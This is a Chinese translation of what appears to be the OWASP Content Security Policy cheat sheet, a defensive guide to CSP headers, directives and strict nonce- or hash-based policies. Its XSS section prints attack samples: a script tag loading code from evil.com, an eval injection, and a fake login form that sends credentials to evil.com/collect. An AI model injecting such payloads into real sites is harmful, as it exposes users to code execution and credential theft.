跳到内容

内容安全策略速查表

简介

本文旨在介绍一种将纵深防御概念集成到Web应用程序客户端的方法。通过从服务器注入内容安全策略(CSP)头部,浏览器能够感知并保护用户免受将内容加载到当前访问页面的动态调用的侵害。

背景

XSS(跨站脚本)、点击劫持和跨站信息泄露漏洞的增加,要求采用更具纵深防御的安全方法。

防御 XSS

CSP 通过以下方式防御 XSS 攻击:

1. 限制内联脚本

通过阻止页面执行内联脚本,注入类似

<script>document.body.innerHTML='defaced'</script>

的攻击将不起作用。

2. 限制远程脚本

通过阻止页面从任意服务器加载脚本,注入类似

<script src="https://evil.com/hacked.js"></script>

的攻击将不起作用。

3. 限制不安全 JavaScript

通过阻止页面执行文本到JavaScript函数(如eval),网站将免受此类漏洞的侵害

// A Simple Calculator
var op1 = getUrlParameter("op1");
var op2 = getUrlParameter("op2");
var sum = eval(`${op1} + ${op2}`);
console.log(`The sum is: ${sum}`);

4. 限制表单提交

通过限制网站上的 HTML 表单可以提交数据的目标,注入钓鱼表单也将不起作用。

<form method="POST" action="https://evil.com/collect">
<h3>Session expired! Please login again.</h3>
<label>Username</label>
<input type="text" name="username"/>

<label>Password</label>
<input type="password" name="pass"/>

<input type="Submit" value="Login"/>
</form>

5. 限制对象

通过限制 HTML object 标签,攻击者也无法在页面中注入恶意 Flash/Java/其他旧版可执行文件。

防御框架攻击

点击劫持和某些浏览器侧信道攻击(xs-leaks)的变体需要恶意网站将目标网站加载到框架中。

历史上,X-Frame-Options 头部一直用于此目的,但它已被 frame-ancestors CSP 指令所取代。

纵深防御

强大的 CSP 提供了一种有效的第二层保护,可以防御各种类型的漏洞,特别是 XSS。尽管 CSP 不会阻止 Web 应用程序包含漏洞,但它能使攻击者更难利用这些漏洞。

即使在一个完全静态的网站上,不接受任何用户输入,CSP 也可以用于强制使用子资源完整性 (SRI)。这有助于防止在某个托管 JavaScript 文件的第三方网站(例如分析脚本)被攻陷时,恶意代码被加载到网站上。

话虽如此,不应将 CSP 作为唯一防御 XSS 的机制。您仍然必须遵循良好的开发实践,例如 跨站脚本防护速查表中描述的实践,然后在此基础上部署 CSP 作为额外的安全层。

策略交付

您可以通过三种方式向您的网站交付内容安全策略。

1. Content-Security-Policy Header(内容安全策略头)

从您的 Web 服务器发送 Content-Security-Policy HTTP 响应头部。

Content-Security-Policy: ...

使用头部是首选方式,并支持完整的 CSP 功能集。在所有 HTTP 响应中发送它,而不仅仅是索引页面。

这是一个 W3C 规范标准头部。Firefox 23+、Chrome 25+ 和 Opera 19+ 支持。

2. Content-Security-Policy-Report-Only Header(内容安全策略仅报告头)

使用 Content-Security-Policy-Report-Only,您可以交付一个不被强制执行的 CSP。

Content-Security-Policy-Report-Only: ...

但是,如果使用了 report-toreport-uri 指令,违规报告仍会打印到控制台并发送到违规端点。

这也是一个 W3C 规范标准头部。Firefox 23+、Chrome 25+ 和 Opera 19+ 支持,其中策略是非阻塞的(“fail open”),并且报告会发送到 report-uri(或更新的 report-to)指令指定的 URL。这通常用作在阻塞模式下(“fail closed”)使用 CSP 的前兆。

浏览器完全支持网站同时使用 Content-Security-PolicyContent-Security-Policy-Report-Only,没有任何问题。例如,这种模式可用于运行严格的 Report-Only 策略(以获取大量违规报告),同时采用更宽松的强制策略(以避免破坏合法的站点功能)。

3. Content-Security-Policy Meta Tag(内容安全策略元标签)

有时,如果您在 CDN 中部署 HTML 文件,而头部不在您的控制范围内,您就无法使用 Content-Security-Policy 头部。

在这种情况下,您仍然可以通过在 HTML 标记中指定 http-equiv 元标签来使用 CSP,如下所示:

<meta http-equiv="Content-Security-Policy" content="...">

几乎所有功能仍然受支持,包括完整的 XSS 防御。但是,您将无法使用框架保护沙盒CSP 违规日志端点

警告

请勿使用 X-Content-Security-PolicyX-WebKit-CSP。它们的实现已过时(自 Firefox 23、Chrome 25 起),功能有限、不一致且错误百出。

CSP 类型(细粒度/基于白名单或严格)

构建 CSP 的原始机制涉及创建白名单,这些白名单将定义在 HTML 页面上下文中允许的内容和来源。

然而,当前主流实践是创建“严格”CSP,它更容易部署且更安全,因为它不太可能被绕过。

严格 CSP

严格 CSP 可以通过使用有限数量的下面列出的 Fetch 指令以及两种机制之一来创建:

  • 基于 Nonce
  • 基于哈希

strict-dynamic 指令也可以选择性地用于简化严格 CSP 的实现。

以下部分将提供这些机制的一些基本指导,但强烈建议遵循 Google 详细且有条不紊的说明来创建严格 CSP

使用严格内容安全策略 (CSP) 缓解跨站脚本 (XSS)

基于 Nonce

Nonce 是您为每个 HTTP 响应生成的一次性、唯一的随机值,并将其添加到 Content-Security-Policy 头部,如下所示:

const nonce = uuid.v4();
scriptSrc += ` 'nonce-${nonce}'`;

然后,您将把此 Nonce 传递到您的视图(使用 Nonce 需要非静态 HTML)并渲染类似这样的脚本标签:

<script nonce="<%= nonce %>">
    ...
</script>

警告

不要创建一个中间件来将所有脚本标签替换为“script nonce=...”,因为攻击者注入的脚本也会获得 nonce。您需要一个真正的 HTML 模板引擎来使用 nonce。

哈希

当需要内联脚本时,script-src 'hash_algo-hash' 是允许仅执行特定脚本的另一个选项。

Content-Security-Policy: script-src 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='

要获取哈希,请在 Google Chrome 开发者工具中查找类似以下的违规信息:

❌ 拒绝执行内联脚本,因为它违反了以下内容安全策略指令:“...” 必须使用“unsafe-inline”关键字、哈希(“sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='”),或者 nonce...

您也可以使用这个哈希生成器。这是一个使用哈希的极好的示例

注意

使用哈希可能是一种有风险的方法。如果您更改脚本标签内的任何内容(即使是空白),例如格式化您的代码,哈希将不同,并且脚本将无法渲染。

strict-dynamic

strict-dynamic 指令可以作为严格 CSP 的一部分,与哈希或 Nonce 结合使用。

如果一个脚本块具有正确的哈希或 Nonce,并且正在创建额外的 DOM 元素并在其中执行 JS,那么 strict-dynamic 会告诉浏览器也信任这些元素,而无需为每个元素明确添加 Nonce 或哈希。

请注意,尽管 strict-dynamic 是 CSP Level 3 的功能,但 CSP Level 3 在常见现代浏览器中得到了广泛支持。

有关更多详细信息,请查看strict-dynamic 用法

详细的 CSP 指令

存在多种类型的指令,允许开发者精细地控制策略的流向。请注意,创建过于细粒度或过于宽松的非严格策略很可能导致绕过和保护失效。

Fetch 指令

Fetch 指令告诉浏览器信任并从何处加载资源。

大多数 fetch 指令在 w3c 中指定了特定的回退列表。此列表允许精细控制脚本、图像、文件等的来源。

  • child-src 允许开发者控制嵌套浏览上下文和 Worker 执行上下文。
  • connect-src 提供对 fetch 请求、XHR、eventsource、beacon 和 websockets 连接的控制。
  • font-src 指定从哪些 URL 加载字体。
  • img-src 指定可以从哪些 URL 加载图像。
  • manifest-src 指定可以从哪些 URL 加载应用程序清单。
  • media-src 指定可以从哪些 URL 加载视频、音频和文本轨道资源。
  • prefetch-src 指定可以从哪些 URL 预取资源。
  • object-src 指定可以从哪些 URL 加载插件。
  • script-src 指定可以从哪些位置执行脚本。它是其他类似脚本指令的回退指令。
    • script-src-elem 控制脚本请求和块的执行位置。
    • script-src-attr 控制事件处理程序的执行。
  • style-src 控制样式应用于文档的位置。这包括 <link> 元素、@import 规则以及源自 Link HTTP 响应头部字段的请求。
    • style-src-elem 控制样式,除了内联属性。
    • style-src-attr 控制样式属性。
  • default-src 是其他 fetch 指令的回退指令。已指定的指令没有继承性,但未指定的指令将回退到 default-src 的值。

Document 指令

Document 指令指示浏览器有关将应用策略的文档的属性。

  • base-uri 指定 <base> 元素可能使用的 URL。
  • plugin-types 限制可以加载到文档中的资源类型(例如 application/pdf)。适用于受影响元素 <embed><object> 的 3 条规则:
    • 元素需要明确声明其类型。
    • 元素的类型需要与声明的类型匹配。
    • 元素的资源需要与声明的类型匹配。
  • sandbox 限制页面操作,例如提交表单。
    • 仅当与请求头 Content-Security-Policy 一起使用时才适用。
    • 不指定指令的值会激活所有沙盒限制。Content-Security-Policy: sandbox;
    • Sandbox 语法

Navigation 指令指示浏览器文档可以导航到或嵌入的地址。

  • form-action 限制表单可以提交到的 URL。
  • frame-ancestors 限制可以将在 <frame><iframe><object><embed><applet> 元素中请求的资源嵌入的 URL。
    • 如果此指令在 <meta> 标签中指定,则该指令将被忽略。
    • 此指令不回退到 default-src 指令。
    • X-Frame-Options 被此指令取代,并被用户代理忽略。

Reporting 指令

Reporting 指令将阻止行为的违规情况发送到指定位置。这些指令本身没有作用,并依赖于其他指令。

  • report-to 是在头部中以 JSON 格式的头部值定义的组名。
  • report-uri 指令已被 report-to 废弃,它是一个用于发送报告的 URI。
    • 格式为:Content-Security-Policy: report-uri https://example.com/csp-reports

为了确保向后兼容性,请结合使用这两个指令。只要浏览器支持 report-to,它将忽略 report-uri。否则,将使用 report-uri

特殊指令源

描述
'none' 没有 URL 匹配。
'self' 指具有相同方案和端口号的源站点。
'unsafe-inline' 允许使用内联脚本或样式。
'unsafe-eval' 允许在脚本中使用 eval。

要更好地理解指令源的工作原理,请查看 w3c 的源列表

CSP 示例策略

严格策略

严格策略的作用是防御经典的存储型、反射型以及部分 DOM XSS 攻击,应成为任何尝试实施 CSP 团队的最佳目标。

如上所述,Google 已经制定了详细且有条不紊的说明,用于创建严格 CSP。

根据这些说明,可以使用以下两种策略之一来应用严格策略:

基于 Nonce 的严格策略

Content-Security-Policy:
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';

基于哈希的严格策略

Content-Security-Policy:
  script-src 'sha256-{HASHED_INLINE_SCRIPT}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';

基本的非严格 CSP 策略

如果无法创建严格策略,则可以使用此策略,它可防止跨站点框架和跨站点表单提交。它只允许来自原始域的资源用于所有默认级别的指令,并且不允许执行内联脚本/样式。

如果您的应用程序在这些限制下运行良好,它将大大减少您的攻击面,并兼容大多数现代浏览器。

最基本的策略假定:

  • 所有资源都由文档的同一域托管。
  • 脚本和样式资源没有内联或 eval。
  • 不需要其他网站来框架此网站。
  • 没有向外部网站提交表单。
Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';

为了进一步收紧,可以应用以下策略:

Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; frame-ancestors 'self'; form-action 'self';

此策略允许来自同源的图像、脚本、AJAX 和 CSS,并且不允许加载任何其他资源(例如,object、frame、media 等)。

升级不安全请求

如果开发人员正在从 HTTP 迁移到 HTTPS,以下指令将确保所有请求都通过 HTTPS 发送,不回退到 HTTP:

Content-Security-Policy: upgrade-insecure-requests;

防止框架攻击(点击劫持,跨站信息泄露)

  • 为防止所有内容被框架,请使用:
    • Content-Security-Policy: frame-ancestors 'none';
  • 要允许网站本身,请使用:
    • Content-Security-Policy: frame-ancestors 'self';
  • 要允许受信任的域,请执行以下操作:
    • Content-Security-Policy: frame-ancestors trusted.com;

重构内联代码

default-srcscript-src* 指令处于活动状态时,CSP 默认禁用 HTML 源代码中放置的任何内联 JavaScript 代码,例如:

<script>
var foo = "314"
<script>

内联代码可以移至单独的 JavaScript 文件,页面中的代码变为:

<script src="app.js">
</script>

其中 app.js 包含 var foo = "314" 代码。

内联代码限制也适用于 内联事件处理程序,因此以下构造将在 CSP 下被阻止:

<button id="button1" onclick="doSomething()">

这应该由 addEventListener 调用代替:

document.getElementById("button1").addEventListener('click', doSomething);

参考资料